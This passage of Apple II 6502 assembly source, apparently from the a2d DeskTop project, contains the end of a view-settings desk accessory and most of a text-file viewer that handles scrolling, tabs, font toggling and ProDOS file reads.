jsr ReadSetting
and #DeskTopSettings::kViewByIndexMask
sta current_view_index
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
beq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
jmp InputLoop
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
;; Digit key?
cmp #'1'
bcc InputLoop
cmp #'1'+kNumButtons
bcs InputLoop
sec
sbc #'1' ; ASCII -> index
jmp ToggleButton
END_IF
;; no modifiers
cmp #CHAR_ESCAPE
beq Exit
bne InputLoop ; always
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
copy16 event_params::xcoord, findwindow_params::mousex
copy16 event_params::ycoord, findwindow_params::mousey
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
bne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
cmp #MGTK::Area::content
beq HandleClick
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
bne Exit
jmp InputLoop
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #kDAWindowId, dragwindow_params::window_id
copy16 event_params::xcoord, dragwindow_params::dragx
copy16 event_params::ycoord, dragwindow_params::dragy
MGTK_CALL MGTK::DragWindow, dragwindow_params
common: bit dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons.
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc HandleClick
copy16 event_params::xcoord, screentowindow_params::screen::xcoord
copy16 event_params::ycoord, screentowindow_params::screen::ycoord
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
;; ----------------------------------------
;; Check all the button rects
copy8 #kNumButtons-1, index
DO
index := *+1
lda #SELF_MODIFIED_BYTE
asl
tax
copy16 button_button_table,x, rect_addr
add16_8 rect_addr, #BTK::ButtonRecord::rect
MGTK_CALL MGTK::InRect, SELF_MODIFIED, rect_addr
IF_NOT_ZERO
lda index
jmp ToggleButton
END_IF
dec index
WHILE_POS
;; ----------------------------------------
jmp InputLoop
.endproc ; HandleClick
;;; ============================================================
.proc DrawWindow
;; Defer if content area is not visible
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
;; --------------------------------------------------
MGTK_CALL MGTK::MoveTo, view_style_label_pos
param_call DrawString, view_style_label_str
copy8 #kNumButtons-1, index
DO
index := *+1
lda #SELF_MODIFIED_BYTE
asl
tax
copy16 button_button_table,x, rec_addr
copy16 button_button_table,x, params_addr
lda #BTK::kButtonStateNormal
ldx current_view_index
IF_X_EQ index
lda #BTK::kButtonStateChecked
END_IF
ldy #BTK::ButtonRecord::state
rec_addr := *+1
sta SELF_MODIFIED,y
BTK_CALL BTK::RadioDraw, SELF_MODIFIED, params_addr
dec index
WHILE_POS
;; --------------------------------------------------
MGTK_CALL MGTK::ShowCursor
rts
.endproc ; DrawWindow
;;; ============================================================
.proc ToggleButton
cmp current_view_index
jeq InputLoop
pha ; A = new index
lda current_view_index
.scope
asl
tay
ldax button_button_table,y
stax rec_addr
stax params_addr
ldy #BTK::ButtonRecord::state
lda #BTK::kButtonStateNormal
rec_addr := *+1
sta SELF_MODIFIED,y
BTK_CALL BTK::RadioUpdate, SELF_MODIFIED, params_addr
.endscope
pla ; A = new index
sta current_view_index
.scope
asl
tay
ldax button_button_table,y
stax rec_addr
stax params_addr
ldy #BTK::ButtonRecord::state
lda #BTK::kButtonStateChecked
rec_addr := *+1
sta SELF_MODIFIED,y
BTK_CALL BTK::RadioUpdate, SELF_MODIFIED, params_addr
.endscope
ldx current_view_index
lda view_by_table,x
ldx #DeskTopSettings::default_view
jsr WriteSetting
jsr MarkDirty
jmp InputLoop
.endproc ; ToggleButton
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::RunDA
bmi SaveSettings
rts
.include "../lib/save_settings.s"
.assert * < write_buffer, error, .sprintf("DA too big (at $%X)", *)
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 33,895
|
src/desk.acc/show.text.file.s
|
.include "../config.inc"
RESOURCE_FILE "show.text.file.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-----------+ +-----------+
;;; | IO Buffer | | |
;;; $1C00 +-----------+ | |
;;; | | | |
;;; | | | | Records offsets into the file
;;; | (unused) | | line | every Nth line so scrolling
;;; | | | offsets | is fast.
;;; $1900 +-----------+ +-----------+
;;; | buf2 | | buf2 copy | These buffers hold 2 pages of the
;;; $1800 +-----------+ +-----------+ text file, and are loaded/swapped
;;; | buf1 | | buf2 copy | as the file is scrolled.
;;; $1700 +-----------+ +-----------+
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | UI code & |
;;; | file I/O | | resources |
;;; $800 +-----------+ +-----------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Keep in sync with main copy!
mli_params:
DEFINE_OPEN_PARAMS open_params, INVOKE_PATH, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS read_params, default_buffer, kReadLength
DEFINE_GET_EOF_PARAMS get_eof_params
DEFINE_SET_MARK_PARAMS set_mark_params, 0
DEFINE_CLOSE_PARAMS close_params
sizeof_mli_params = * - mli_params
visible_flag: ; clear until text that should be visible is in view
.byte 0
params_end := * + 4 ; bug in original? (harmless as this is static)
;;; ----------------------------------------
kDAWindowId = $80
kLineSpacing = 10
kWrapWidth = 506
tab_flag: ; set if last character seen was a tab
.byte 0
remaining_width:
.word kWrapWidth
kLinePosLeft = 3
.params line_pos
left: .word 0
base: .word 0
.endparams
y_remaining: .word 0
;;; Height of a line of text
kLineHeight = kSystemFontHeight + 1
kLinesPerPage = kDAHeight / kLineHeight
;;; Number of lines per scroll tick
kLineScrollDelta = 1
;;; Scroll by this number of lines when doing page up/down
kPageScrollDelta = kLinesPerPage - 1
;;; When bit7 set, the whole file is rendered, and line offsets are recorded.
;;; When bit7 clear, line offsets are used to accelerate rendering.
record_offsets_flag:
.byte 0
;;; Farthest offset into the file that `DrawContent` made it
buf_mark:
.word 0
;;; Calculated on initial load
max_visible_line:
.word 0
;;; Scroll position in document
first_visible_line:
.word 0
fixed_mode_flag:
.byte 0 ; 0 = proportional, otherwise = fixed
.include "../lib/event_params.s"
.params trackgoaway_params ; queried after close clicked to see if aborted/finished
goaway: .byte 0 ; 0 = aborted, 1 = clicked
.endparams
.params drawtext_params
textptr: .addr 0 ; address
textlen: .byte 0 ; length
.endparams
kDALeft = 10
kDATop = 28
kDAWidth = 512
kDAHeight = 150
titlebuf:
.res 16, 0
kVScrollMax = $FF
.params winfo
window_id: .byte kDAWindowId ; window identifier
options: .byte MGTK::Option::go_away_box ; window flags (2=include close port)
title: .addr titlebuf
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_normal
hthumbmax: .byte 32 ; unused
hthumbpos: .byte 0
vthumbmax: .byte kVScrollMax
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 200
mincontheight: .word 51
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;; gets copied over winfo::port after mode is drawn
.params default_port
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .word MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
REF_MAPINFO_MEMBERS
.endparams
.params muldiv_params
number: .word 0 ; (in)
numerator: .word 0 ; (in)
denominator: .word 0 ; (in)
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
;;; ============================================================
;;; Open the file and create the DA window
.proc Init
copy8 #0, fixed_mode_flag
;; open file, get length
JSR_TO_MAIN OpenFile
RTS_IF_NOT_ZERO
lda open_params::ref_num
sta read_params::ref_num
sta set_mark_params::ref_num
sta get_eof_params::ref_num
sta close_params::ref_num
JSR_TO_MAIN GetFileEof
;; create window
MGTK_CALL MGTK::OpenWindow, winfo
MGTK_CALL MGTK::SetPort, winfo::port
jsr CalcAndDrawMode
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
SET_BIT7_FLAG record_offsets_flag
jsr DrawContent
CLEAR_BIT7_FLAG record_offsets_flag
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
jsr InitScrollBar
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params
cmp #MGTK::EventKind::key_down ; key?
beq OnKeyDown
cmp #MGTK::EventKind::button_down ; was clicked?
bne InputLoop ; nope, keep waiting
FALL_THROUGH_TO OnButtonDown
.endproc ; InputLoop
;;; ============================================================
.proc OnButtonDown
MGTK_CALL MGTK::FindWindow, event_params::coords
lda findwindow_params::window_id ; in our window?
cmp #kDAWindowId
bne InputLoop
;; which part of the window?
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
jeq OnCloseClick
cmp #MGTK::Area::dragbar
beq title
cmp #MGTK::Area::grow_box ; not enabled, so this will never match
beq InputLoop
jsr OnContentClick
jmp InputLoop
title: jsr OnTitleBarClick
jmp InputLoop
.endproc ; OnButtonDown
;;; ============================================================
;;; Key
.proc OnKeyDown
ldx event_params::modifiers
beq no_mod
;; Modifiers
lda event_params::key
jsr ToUpperCase
IF_X_EQ #3
;; Double modifiers
IF_A_EQ #CHAR_UP ; OA+SA+Up = Home
jsr ScrollTop
jmp InputLoop
END_IF
IF_A_EQ #CHAR_DOWN ; OA+SA+Down = End
jsr ScrollBottom
;; jmp InputLoop
END_IF
ELSE
;; Single modifier
IF_A_EQ #CHAR_UP ; Apple+Up = Page Up
jsr PageUp
jmp InputLoop
END_IF
IF_A_EQ #CHAR_DOWN ; Apple+Down = Page Down
jsr PageDown
;; jmp InputLoop
END_IF
cmp #kShortcutCloseWindow
jeq DoClose
END_IF
jmp InputLoop
;; No modifiers
no_mod:
lda event_params::key
cmp #CHAR_ESCAPE
jeq DoClose
IF_A_EQ #' '
jsr ToggleMode
jmp InputLoop
END_IF
IF_A_EQ #CHAR_UP
jsr ScrollUp
jmp InputLoop
END_IF
IF_A_EQ #CHAR_DOWN
jsr ScrollDown
;; jmp InputLoop
END_IF
jmp InputLoop
.endproc ; OnKeyDown
;;; ============================================================
;;; Click on Close Button
.proc OnCloseClick
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::goaway ; did click complete?
bne DoClose ; yes
jmp InputLoop ; no
.endproc ; OnCloseClick
.proc DoClose
JSR_TO_MAIN CloseFile
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts ; exits input loop
.endproc ; DoClose
;;; ============================================================
;;; Click on Content Area
;;; Non-title (content) area clicked
.proc OnContentClick
;; On one of the scroll bars?
MGTK_CALL MGTK::FindControl, findcontrol_params
lda findcontrol_params::which_ctl
cmp #MGTK::Ctl::vertical_scroll_bar
beq OnVScrollClick
end: rts
.endproc ; OnContentClick
;;; ============================================================
;;; Click on Vertical Scroll Bar
.proc OnVScrollClick
lda findcontrol_params::which_part
cmp #MGTK::Part::thumb
beq OnVScrollThumbClick
cmp #MGTK::Part::page_down
beq OnVScrollBelowClick
cmp #MGTK::Part::page_up
beq OnVScrollAboveClick
cmp #MGTK::Part::up_arrow
beq OnVScrollUpClick
cmp #MGTK::Part::down_arrow
beq OnVScrollDownClick
rts
.endproc ; OnVScrollClick
.proc OnVScrollThumbClick
copy8 #MGTK::Ctl::vertical_scroll_bar, trackthumb_params::which_ctl
MGTK_CALL MGTK::TrackThumb, trackthumb_params
lda trackthumb_params::thumbmoved
beq end
;; `first_visible_line` = `trackthumb_params::thumbpos` * `max_visible_line` / `kVScrollMax`
copy16 max_visible_line, muldiv_params::number
copy8 trackthumb_params::thumbpos, muldiv_params::numerator ; lo
copy8 #0, muldiv_params::numerator+1 ; hi
copy16 #kVScrollMax, muldiv_params::denominator
MGTK_CALL MGTK::MulDiv, muldiv_params
copy16 muldiv_params::result, first_visible_line
jsr UpdateScrollPos
end: rts
.endproc ; OnVScrollThumbClick
.proc OnVScrollBelowClick
repeat: jsr PageDown
jsr CheckButtonRelease
bcc repeat ; repeat while button down
rts
.endproc ; OnVScrollBelowClick
.proc OnVScrollAboveClick
repeat: jsr PageUp
jsr CheckButtonRelease
bcc repeat ; repeat while button down
rts
.endproc ; OnVScrollAboveClick
.proc OnVScrollDownClick
repeat: jsr ScrollDown
jsr CheckButtonRelease
bcc repeat ; repeat while button down
rts
.endproc ; OnVScrollDownClick
.proc OnVScrollUpClick
repeat: jsr ScrollUp
jsr CheckButtonRelease
bcc repeat ; repeat while button down
rts
.endproc ; OnVScrollUpClick
;;; ============================================================
;;; Returns Z=1 if at top, Z=0 otherwise
.proc IsAtTop
lda first_visible_line
bne ret
lda first_visible_line+1
ret: rts
.endproc ; IsAtTop
;;; Returns Z=1 if at bottom, Z=0 otherwise
.proc IsAtBottom
ecmp16 first_visible_line, max_visible_line
rts
.endproc ; IsAtBottom
;;; ============================================================
.proc ScrollUp
jsr IsAtTop
beq ret
cmp16 first_visible_line, #kLineScrollDelta ; would be too far?
bcc ForceScrollTop ; yes, clamp to top
sub16 first_visible_line, #kLineScrollDelta, first_visible_line
jsr UpdateScrollPos
ret: rts
.endproc ; ScrollUp
.proc PageUp
jsr IsAtTop
beq ret
cmp16 first_visible_line, #kPageScrollDelta ; would be too far?
bcc ForceScrollTop ; yes, clamp to top
sub16 first_visible_line, #kPageScrollDelta, first_visible_line
jsr UpdateScrollPos
ret: rts
.endproc ; PageUp
.proc ScrollTop
jsr IsAtTop
beq ret
force: copy16 #0, first_visible_line
jsr UpdateScrollPos
ret: rts
.endproc ; ScrollTop
ForceScrollTop := ScrollTop::force
.proc ScrollDown
jsr IsAtBottom
beq ret
add16 first_visible_line, #kLineScrollDelta, first_visible_line
cmp16 first_visible_line, max_visible_line ; too far down?
bcs ForceScrollBottom ; yes, clamp to bottom
jsr UpdateScrollPos
ret: rts
.endproc ; ScrollDown
.proc PageDown
jsr IsAtBottom
beq ret
add16 first_visible_line, #kPageScrollDelta, first_visible_line
cmp16 first_visible_line, max_visible_line ; too far down?
bcs ForceScrollBottom ; yes, clamp to bottom
jsr UpdateScrollPos
ret: rts
.endproc ; PageDown
.proc ScrollBottom
jsr IsAtBottom
beq ret
force: copy16 max_visible_line, first_visible_line
jsr UpdateScrollPos
ret: rts
.endproc ; ScrollBottom
ForceScrollBottom := ScrollBottom::force
;;; ============================================================
.proc UpdateScrollPos
;; Update viewport
copy16 first_visible_line, muldiv_params::number
copy16 #kLineScrollDelta * kLineHeight, muldiv_params::numerator
copy16 #1, muldiv_params::denominator
MGTK_CALL MGTK::MulDiv, muldiv_params
ldax muldiv_params::result
stax winfo::maprect::y1
addax #kDAHeight, winfo::maprect::y2
MGTK_CALL MGTK::SetPort, winfo::port
;; Update thumb position
;; `updatethumb_params::thumbpos` = `first_visible_line` * `kVScrollMax` / `max_visible_line`
copy16 #kVScrollMax, muldiv_params::number
copy16 first_visible_line, muldiv_params::numerator
copy16 max_visible_line, muldiv_params::denominator
MGTK_CALL MGTK::MulDiv, muldiv_params
lda muldiv_params::result+1
IF_NOT_ZERO
lda #kVScrollMax
ELSE
lda muldiv_params::result
END_IF
sta updatethumb_params::thumbpos
lda winfo::vscroll
and #MGTK::Scroll::option_active
IF_NOT_ZERO
copy8 #MGTK::Ctl::vertical_scroll_bar, updatethumb_params::which_ctl
MGTK_CALL MGTK::UpdateThumb, updatethumb_params
END_IF
jmp DrawContent
.endproc ; UpdateScrollPos
;;; ============================================================
;;; Returns with carry set if button was released
.proc CheckButtonRelease
MGTK_CALL MGTK::GetEvent, event_params
lda event_params
cmp #MGTK::EventKind::button_up
clc
bne end
sec
end: rts
.endproc ; CheckButtonRelease
;;; ============================================================
;;; UI Helpers
.proc ClearWindow
MGTK_CALL MGTK::PaintRect, winfo::maprect::x1
rts
.endproc ; ClearWindow
;;; ============================================================
;;; Content Rendering
.proc DrawContent
ptr := $06
offset_ptr := $08
bit record_offsets_flag
IF_NS
;; Render the whole file (visible and invisible), and record
;; offsets for every Nth line as we go.
copy16 #0, line_offsets
copy16 #line_offsets+2, offset_ptr
copy8 #kLineOffsetDelta, offset_counter
;; Start off on 0th line, start of file, and top of window
copy16 #0, current_line
copy16 #0, set_mark_params::position
JSR_TO_MAIN SetFileMark
copy16 #0, line_pos::base
ELSE
;; Start off at first offset before `first_visible_line`
;; using floor(`first_visible_line` / `kLineOffsetDelta`) * `kLineOffsetDelta`
copy16 first_visible_line, current_line
ldx #kLineOffsetShift
DO
lsr16 current_line ; /= `kLineOffsetDelta`
dex
WHILE_NOT_ZERO
copy16 current_line, offset_ptr
ldx #kLineOffsetShift
DO
asl16 current_line ; *= `kLineOffsetDelta`
dex
WHILE_NOT_ZERO
;; Use previously recorded offset into file.
asl16 offset_ptr
add16 offset_ptr, #line_offsets, offset_ptr
ldy #0
copy16in (offset_ptr),y, set_mark_params::position
JSR_TO_MAIN SetFileMark
;; And adjust to the appropriate offset for that line in the viewport.
copy16 current_line, muldiv_params::number
copy16 #kLineHeight, muldiv_params::numerator
copy16 #1, muldiv_params::denominator
MGTK_CALL MGTK::MulDiv, muldiv_params
copy16 muldiv_params::result, line_pos::base
END_IF
;; Select appropriate font
lda fixed_mode_flag
IF_ZERO
MGTK_CALL MGTK::SetFont, DEFAULT_FONT
ELSE
MGTK_CALL MGTK::SetFont, fixed_font
END_IF
;; Calc last visible line, so we can optimize some operations
add16 first_visible_line, #kLinesPerPage - 1, last_visible_line
copy16 #default_buffer, read_params::data_buffer
copy16 #default_buffer, ptr
copy16 #0, buf_mark
;; Populate buffer pages
jsr ReadFilePage ; first page
inc read_params::data_buffer+1 ; subsequent reads go to second page
jsr ReadFilePage ; second page
copy8 #0, visible_flag
jsr ClearWindow
;; --------------------------------------------------
;; Loop over lines
do_line:
;; Reset state / flags
add16_8 line_pos::base, #kLineSpacing
copy16 #kWrapWidth, remaining_width
copy16 #kLinePosLeft, line_pos::left
copy8 #0, tab_flag
copy8 #0, visible_flag
cmp16 current_line, first_visible_line
IF_GE
cmp16 last_visible_line, current_line
IF_GE
inc visible_flag
END_IF
END_IF
;; Position cursor, update remaining width
moveto: MGTK_CALL MGTK::MoveTo, line_pos
sub16 #kWrapWidth, line_pos::left, remaining_width
;; Identify next run of characters
jsr FindTextRun
jcs done
;; Update pointer into buffer for next time
add16_8 ptr, drawtext_params::textlen
;; Did the run end due to a tab?
lda tab_flag
bne moveto ; yes, keep going
;; --------------------------------------------------
;; End of line
bit record_offsets_flag
IF_NS
;; Doing a full pass. Determine current file offset.
sub16 ptr, #default_buffer, cur_offset
add16 cur_offset, buf_mark, cur_offset
;; Maybe record it
dec offset_counter
IF_ZERO
ldy #0
copy16in cur_offset, (offset_ptr),y
add16_8 offset_ptr, #2
copy8 #kLineOffsetDelta, offset_counter ; reset
;; Keep mouse cursor somewhat responsive
MGTK_CALL MGTK::CheckEvents
END_IF
;; EOF? If so, stop!
cmp16 cur_offset, get_eof_params::eof
bcs done
ELSE
;; Just rendering what's visible. Are we done?
ecmp16 current_line, last_visible_line
beq done
END_IF
;; Nope - continue on next line
inc16 current_line
jmp do_line
;; --------------------------------------------------
done: MGTK_CALL MGTK::SetFont, DEFAULT_FONT
bit record_offsets_flag
IF_NS
sub16 current_line, #kLinesPerPage - 1, max_visible_line
IF_NEG
copy16 #0, max_visible_line
END_IF
END_IF
rts
;;; `first_visible_line` + `kLinesPerPage`
last_visible_line:
.word 0
current_line:
.word 0
;;; Counts down to 0; when 0, an offset is recorded in `line_offsets`
;;; and `offset_ptr` is incremented.
offset_counter:
.byte 0
cur_offset:
.word 0
.endproc ; DrawContent
;;; ============================================================
;;; Input: A = character
;;; Output: A = width
.proc GetCharWidth
tay
lda fixed_mode_flag
IF_ZERO
lda DEFAULT_FONT + MGTK::Font::charwidth,y
ELSE
lda fixed_font + MGTK::Font::charwidth,y
END_IF
rts
.endproc ; GetCharWidth
;;; ============================================================
.proc FindTextRun
ptr := $06
copy8 #$FF, L0F9B
lda #0
sta run_width
sta run_width+1
sta tab_flag
sta drawtext_params::textlen
copy16 ptr, drawtext_params::textptr
loop:
jsr EnsurePageBuffered
ldy drawtext_params::textlen
lda (ptr),y
and #CHAR_MASK
sta (ptr),y
cmp #CHAR_RETURN
beq FinishTextRun
IF_A_EQ #' '
sty L0F9B
END_IF
cmp #CHAR_TAB
jeq HandleTab
jsr GetCharWidth
clc
adc run_width
sta run_width
bcc :+
inc run_width+1
:
;; Is there room?
cmp16 remaining_width, run_width
IF_GE
inc drawtext_params::textlen
jmp loop
END_IF
copy8 #0, tab_flag
lda L0F9B
IF_A_NE #$FF
sta drawtext_params::textlen
END_IF
inc drawtext_params::textlen
FALL_THROUGH_TO FinishTextRun
.endproc ; FindTextRun
.proc FinishTextRun
ptr := $06
jsr DrawTextRun
ldy drawtext_params::textlen
lda (ptr),y
IF_A_EQ_ONE_OF #CHAR_TAB, #CHAR_RETURN
inc drawtext_params::textlen
END_IF
clc
rts
.endproc ; FinishTextRun
;;; ============================================================
L0F9B: .byte 0
run_width: .word 0
.proc HandleTab
copy8 #1, tab_flag
add16 run_width, line_pos::left, line_pos::left
ldx #0
loop: cmp16 times70,x, line_pos::left
IF_LT
inx
inx
cpx #14
beq done
jmp loop
END_IF
copy16 times70,x, line_pos::left
jmp FinishTextRun
done:
copy8 #0, tab_flag
jmp FinishTextRun
times70:.word 70
.word 140
.word 210
.word 280
.word 350
.word 420
.word 490
.endproc ; HandleTab
;;; ============================================================
;;; Draw a line of content
.proc DrawTextRun
lda visible_flag ; skip if not in visible range
beq end
lda drawtext_params::textlen
beq end
MGTK_CALL MGTK::DrawText, drawtext_params
end: rts
.endproc ; DrawTextRun
;;; ============================================================
.proc EnsurePageBuffered
ptr := $06
;; Pointing at second page already?
lda drawtext_params::textptr+1
IF_A_NE #>default_buffer
;; Yes, shift second page down.
ldy #0
DO
copy8 default_buffer+$100,y, default_buffer,y
iny
WHILE_NOT_ZERO
;; Adjust pointers down a page too.
dec drawtext_params::textptr+1
copy16 drawtext_params::textptr, ptr
inc buf_mark+1
;; And re-populate second page.
jsr ReadFilePage
END_IF
rts
.endproc ; EnsurePageBuffered
;;; ============================================================
.proc ReadFilePage
copy16 read_params::data_buffer, @store_addr
lda #' ' ; fill buffer with spaces
ldx #0
@store_addr := *+1
store: sta default_buffer,x ; self-modified
inx
bne store
jsr prep
clc ; aux>main
jsr AUXMOVE
JSR_TO_MAIN ReadFile
pha ; copy read buffer main>aux
jsr prep
sec ; main>aux
jsr AUXMOVE
pla
beq done
cmp #ERR_END_OF_FILE
beq done
brk ; crash on other error
done: rts
prep: lda #$00
sta STARTLO
sta DESTINATIONLO
lda #$FF
sta ENDLO
lda read_params::data_buffer+1
sta DESTINATIONHI
sta STARTHI
sta ENDHI
rts
.endproc ; ReadFilePage
;;; ============================================================
;;; Assumes `max_visible_line` is set.
.proc InitScrollBar
ldx #MGTK::activatectl_activate
lda max_visible_line
ora max_visible_line+1
IF_ZERO
;; File entirely fits; deactivate scrollbar
ldx #MGTK::activatectl_deactivate
END_IF
stx activatectl_params::activate
copy8 #MGTK::Ctl::vertical_scroll_bar, activatectl_params::which_ctl
MGTK_CALL MGTK::ActivateCtl, activatectl_params
rts
.endproc ; InitScrollBar
;;; ============================================================
;;; Title Bar (Proportional/Fixed mode button)
.proc OnTitleBarClick
cmp16 event_params::xcoord, mode_mapinfo_viewloc_xcoord
bcs ToggleMode
clc ; Click ignored
rts
.endproc ; OnTitleBarClick
.proc ToggleMode
;; Toggle the state and redraw
lda fixed_mode_flag
eor #$FF
sta fixed_mode_flag
jsr DrawMode
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
SET_BIT7_FLAG record_offsets_flag
jsr ForceScrollTop
CLEAR_BIT7_FLAG record_offsets_flag
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
jsr InitScrollBar
sec ; Click consumed
rts
.endproc ; ToggleMode
;;; ============================================================
fixed_str: PASCAL_STRING res_string_button_fixed
prop_str: PASCAL_STRING res_string_button_prop
kLabelWidth = 110
kLabelHeight = 10
.params mode_mapinfo ; bounding port for mode label
DEFINE_POINT viewloc, 0, 0
mapbits: .word MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kLabelWidth, kLabelHeight
REF_MAPINFO_MEMBERS
.endparams
mode_mapinfo_viewloc_xcoord := mode_mapinfo::viewloc::xcoord
DEFINE_POINT mode_pos, 0, 10
.params winframerect_params
window_id: .byte kDAWindowId
DEFINE_RECT rect, 0, 0, 0, 0
.endproc ; aux
;;; ============================================================
.proc CalcAndDrawMode
MGTK_CALL MGTK::GetWinFrameRect, winframerect_params
sub16_8 winframerect_params::rect::x2, #kLabelWidth+1, mode_mapinfo::viewloc::xcoord
add16_8 winframerect_params::rect::y1, #1, mode_mapinfo::viewloc::ycoord
FALL_THROUGH_TO DrawMode
.endproc ; CalcAndDrawMode
.proc DrawMode
;; Set up port
MGTK_CALL MGTK::SetPortBits, mode_mapinfo
;; Clear background
MGTK_CALL MGTK::PaintRect, mode_mapinfo::maprect
;; Center string
text_params := $6
text_addr := text_params + 0
text_length := text_params + 2
text_width := text_params + 3
lda fixed_mode_flag
IF_NOT_ZERO
ldax #fixed_str
ELSE
ldax #prop_str
END_IF
stax text_addr
ldy #0
copy8 (text_addr),y, text_length
inc16 text_addr ; point past length
MGTK_CALL MGTK::TextWidth, text_params
sub16 #kLabelWidth, text_width, mode_pos::xcoord
lsr16 mode_pos::xcoord ; /= 2
MGTK_CALL MGTK::MoveTo, mode_pos
MGTK_CALL MGTK::DrawText, text_params
;; Reset port
COPY_STRUCT default_port, winfo::port
MGTK_CALL MGTK::SetPortBits, winfo::port
rts
.endproc ; DrawMode
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
fixed_font:
.incbin .concat("../../out/Monaco.", kBuildLang, ".font")
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
jmp Start
;;; ============================================================
MLIEntry := MLI
INVOKE_PATH := $220
filename: .res 16
DEFINE_GET_FILE_INFO_PARAMS get_info_params, INVOKE_PATH
.proc Start
lda INVOKE_PATH
beq ret
;; Don't show directory files (volumes/subdirectories)
JUMP_TABLE_MLI_CALL GET_FILE_INFO, get_info_params
bcs ret
lda get_info_params::file_type
cmp #FT_DIRECTORY
beq ret
;; Set window title to filename
ldy INVOKE_PATH
DO
lda INVOKE_PATH,y ; find last '/'
BREAK_IF_A_EQ #'/'
dey
WHILE_NOT_ZERO
ldx #0
DO
copy8 INVOKE_PATH+1,y, filename+1,x ; copy filename
inx
iny
WHILE_Y_NE INVOKE_PATH
stx filename
copy16 #filename, STARTLO
copy16 #filename+kMaxFilenameLength, ENDLO
copy16 #aux::titlebuf, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
;; Run the DA
JSR_TO_AUX aux::Init
ret: rts
.endproc ; Start
;;; ============================================================
;;; ProDOS MLI calls
.proc OpenFile
jsr CopyParamsAuxToMain
sta ALTZPOFF
MLI_CALL OPEN, open_params
sta ALTZPON
jmp CopyParamsMainToAux
.endproc ; OpenFile
.proc ReadFile
jsr CopyParamsAuxToMain
sta ALTZPOFF
MLI_CALL READ, read_params
sta ALTZPON
jmp CopyParamsMainToAux
.endproc ; ReadFile
.proc GetFileEof
jsr CopyParamsAuxToMain
sta ALTZPOFF
MLI_CALL GET_EOF, get_eof_params
sta ALTZPON
